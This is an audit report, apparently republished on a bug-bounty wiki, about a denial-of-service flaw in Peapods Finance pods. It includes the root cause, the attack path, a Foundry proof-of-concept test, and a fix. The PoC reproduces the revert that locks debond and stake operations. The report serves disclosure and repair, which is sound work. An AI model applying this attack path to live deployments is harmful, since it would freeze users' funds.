Pod DoS if the LEAVE_AS_PAIRED_LP_TOKEN option is enabled
When the LEAVE_AS_PAIRED_LP_TOKEN option is enabled, the TokenRewards contract reverts on depositFromPairedLpToken if there are no stakers, causing all debond and stake operations to fail permanently. This leads to a denial of service where users cannot withdraw their funds.
Source: https://github.com/sherlock-audit/2025-01-peapods-finance-judging/issues/175
Found by
TessKimy, fibonacci
Summary
Pods swap fee process includes distributing fees through the TokenRewards contract, which reverts on depositFromPairedLpToken if the LEAVE_AS_PAIRED_LP_TOKEN option is enabled.
Root Cause
In TokenRewards.sol:152, if the LEAVE_AS_PAIRED_LP_TOKEN option is enabled, PAIRED_LP_TOKEN is deposited without being swapped for rewardsToken.
In the _depositRewards function, there is a requirement statement that reverts the transaction if the deposited token is not the reward token and there are no stakers yet (totalShares == 0).
Therefore, if there are no stakers and the LEAVE_AS_PAIRED_LP_TOKEN option is enabled, all transactions that include depositFromPairedLpToken will revert.
Internal Pre-conditions
- The
LEAVE_AS_PAIRED_LP_TOKENoption is enabled. PAIRED_LP_TOKEN!=lpRewardsToken.- The pod has accumulated some fees (balance > 0).
External Pre-conditions
There is liquidity in the pool (pool balance > 0).
Attack Path
- Users bond some tokens → The pod accumulates some fees.
- One of the users adds liquidity to the pool → The pool balance becomes > 0.
- Now, no one can debond their tokens, as the debond operation triggers
_processPreSwapFeesAndSwap, and all conditions to swap fees and calldepositFromPairedLpTokenare met. The transaction reverts because there are no stakers inTokenRewards. - At the same time, no one can stake tokens, because staking also triggers
_processPreSwapFeesAndSwap. - There is no way to recover from this state, because even if liquidity providers remove all the liquidity, the V2 pool mints some dead shares on the first mint, so there will always be some tokens remaining in the pool.
Impact
This issue causes a permanent Pod DoS, leading to users losing their funds.
PoC
Add this test to WeightedIndexTest.t.sol.
function test_LeaveAsPairedLpToken() public {
IDecentralizedIndex.Config memory _c;
IDecentralizedIndex.Fees memory _f;
_f.bond = fee;
_f.debond = fee;
address[] memory _t = new address[](1);
_t[0] = address(peas);
uint256[] memory _w = new uint256[](1);
_w[0] = 100;
address _pod = _createPod(
"Test",
"pTEST",
_c,
_f,
_t,
_w,
address(0),
true,
abi.encode(
dai,
address(peas),
0x6B175474E89094C44Da98b954EedeAC495271d0F,
0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
rewardsWhitelist,
0x024ff47D552cB222b265D68C7aeB26E586D5229D,
dexAdapter
)
);
pod = WeightedIndex(payable(_pod));
// 1. Users bond some tokens → The pod accumulates some fees.
vm.startPrank(alice);
peas.approve(address(pod), type(uint256).max);
pod.bond(address(peas), bondAmt, 0);
vm.stopPrank();
vm.startPrank(bob);
peas.approve(address(pod), type(uint256).max);
pod.bond(address(peas), bondAmt, 0);
vm.stopPrank();
// 2. One of the users adds liquidity to the pool → The pool balance becomes > 0.
uint256 podTokensToAdd = 1e18;
uint256 pairedTokensToAdd = 1e18;
uint256 slippage = 50;
deal(pod.PAIRED_LP_TOKEN(), alice, pairedTokensToAdd);
vm.startPrank(alice);
IERC20(pod.PAIRED_LP_TOKEN()).approve(address(pod), pairedTokensToAdd);
uint256 lpTokensReceived = pod.addLiquidityV2(podTokensToAdd, pairedTokensToAdd, slippage, block.timestamp);
// 3. Now, no one can debond their tokens, as the debond operation triggers `_processPreSwapFeesAndSwap`,
// and all conditions to swap fees and call `depositFromPairedLpToken` are met.
// The transaction reverts because there are no stakers in `TokenRewards`.
vm.startPrank(bob);
address[] memory _n1;
uint8[] memory _n2;
vm.expectRevert(bytes("R"));
pod.debond(bondAmtAfterFee, _n1, _n2);
vm.stopPrank();
// 4. At the same time, no one can stake tokens, because staking also triggers `_processPreSwapFeesAndSwap`.
address lpStakingPool = pod.lpStakingPool();
vm.expectRevert(bytes("R"));
IStakingPoolToken(lpStakingPool).stake(alice, lpTokensReceived);
vm.stopPrank();
// 5. There is no way to recover from this state, because even if liquidity providers remove all the liquidity,
// the V2 pool mints some dead shares on the first mint, so there will always be some tokens remaining in the pool.
vm.startPrank(alice);
address v2Pool = pod.DEX_HANDLER().getV2Pool(address(pod), pod.PAIRED_LP_TOKEN());
IERC20(v2Pool).approve(address(pod), lpTokensReceived);
uint256 poolBalanceBefore = pod.balanceOf(v2Pool);
emit log_uint(poolBalanceBefore);
pod.removeLiquidityV2(
lpTokensReceived,
0,
0,
block.timestamp
);
vm.stopPrank();
vm.startPrank(bob);
vm.expectRevert(bytes("R"));
pod.debond(bondAmtAfterFee, _n1, _n2);
vm.stopPrank();
}
Mitigation
Before processing the deposit, ensure that there are stakers in the TokenRewards contract. Alternatively, modify the deposit logic to burn the deposited PAIRED_LP_TOKEN, similar to how rewardsToken deposits are handled.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The _depositRewards function reverts when the deposited token is not the reward token and totalShares is zero, and this condition is triggered by the LEAVE_AS_PAIRED_LP_TOKEN option.
Impact
This issue causes a permanent Pod DoS, leading to users losing their funds.
What the attacker needed
LEAVE_AS_PAIRED_LP_TOKEN enabled; PAIRED_LP_TOKEN != lpRewardsToken; Pod has accumulated fees; Pool has liquidity
The fix
Before processing the deposit, ensure that there are stakers in the TokenRewards contract, or modify the deposit logic to burn the deposited PAIRED_LP_TOKEN.
How it was found
- Users bond tokens, causing the pod to accumulate fees.
- A user adds liquidity to the pool, making the pool balance greater than zero.
- Debonding triggers _processPreSwapFeesAndSwap, which calls depositFromPairedLpToken and reverts because there are no stakers.
- Staking also triggers _processPreSwapFeesAndSwap and reverts.
- Even if liquidity providers remove all liquidity, the V2 pool mints dead shares on first mint, so some tokens remain and the revert persists.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract has a setting that, when turned on, makes it try to deposit a token into a rewards pool. But if nobody has staked yet, that deposit fails and the whole transaction is cancelled. Since many actions trigger this deposit, users get stuck and cannot withdraw their tokens.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.